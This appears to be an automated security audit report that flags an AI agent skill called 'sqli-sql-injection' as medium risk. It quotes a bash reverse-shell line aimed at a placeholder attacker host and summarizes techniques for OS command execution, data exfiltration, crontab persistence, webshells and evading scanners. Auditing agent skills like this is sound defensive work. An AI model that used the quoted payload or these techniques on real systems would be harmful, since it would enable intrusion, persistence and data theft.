sqli-sql-injection

Warn

Audited by Gen Agent Trust Hub on Nov 9, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONPERSISTENCEDYNAMIC_EXECUTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides specific payloads for establishing reverse shells and executing arbitrary code on target systems. \n
  • Evidence in SCENARIOS.md: Contains a payload for creating a malicious cron job that executes a reverse shell: bash -i >& /dev/tcp/ATTACKER/4444 0>&1. \n
  • Evidence in SCENARIOS.md: Documents SQLite load_extension payloads for loading malicious shared libraries such as evil.so or evil.dll.\n- [COMMAND_EXECUTION]: Extensive documentation and payloads are provided for escalating from database access to operating system command execution.\n
  • Evidence in SKILL.md: Detailed instructions for using xp_cmdshell in MSSQL, User Defined Functions (UDF) in MySQL, and Java Stored Procedures in Oracle to execute system-level commands like whoami.\n
  • Evidence in SQLMAP_ADVANCED.md: Describes the use of --os-shell and --os-pwn flags to gain interactive system access.\n- [DATA_EXFILTRATION]: The playbook contains numerous methods for exfiltrating sensitive database information through out-of-band channels.\n
  • Evidence in SKILL.md: Payloads for DNS exfiltration via Oracle's UTL_INADDR and SMB exfiltration via MySQL's LOAD_FILE targeting attacker.com.\n
  • Evidence in SKILL.md: Instructions for using Oracle's UTL_HTTP to exfiltrate data to an external server via HTTP GET requests.\n- [PERSISTENCE]: The skill includes techniques for maintaining access to a compromised system across sessions.\n
  • Evidence in SCENARIOS.md: Instructions for creating persistence by writing malicious entries to the crontab file using SQLite's ATTACH DATABASE functionality.\n- [DYNAMIC_EXECUTION]: The skill facilitates the creation and execution of dynamic scripts and database commands to bypass security filters.\n
  • Evidence in SQLMAP_ADVANCED.md: Use of PREPARE and EXECUTE with hex-encoded strings to hide the intent of SQL queries from security scanners.\n
  • Evidence in SCENARIOS.md: Instructions for writing webshells to the server filesystem using INTO OUTFILE or ATTACH DATABASE methods.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Nov 9, 2026, 11:59 AM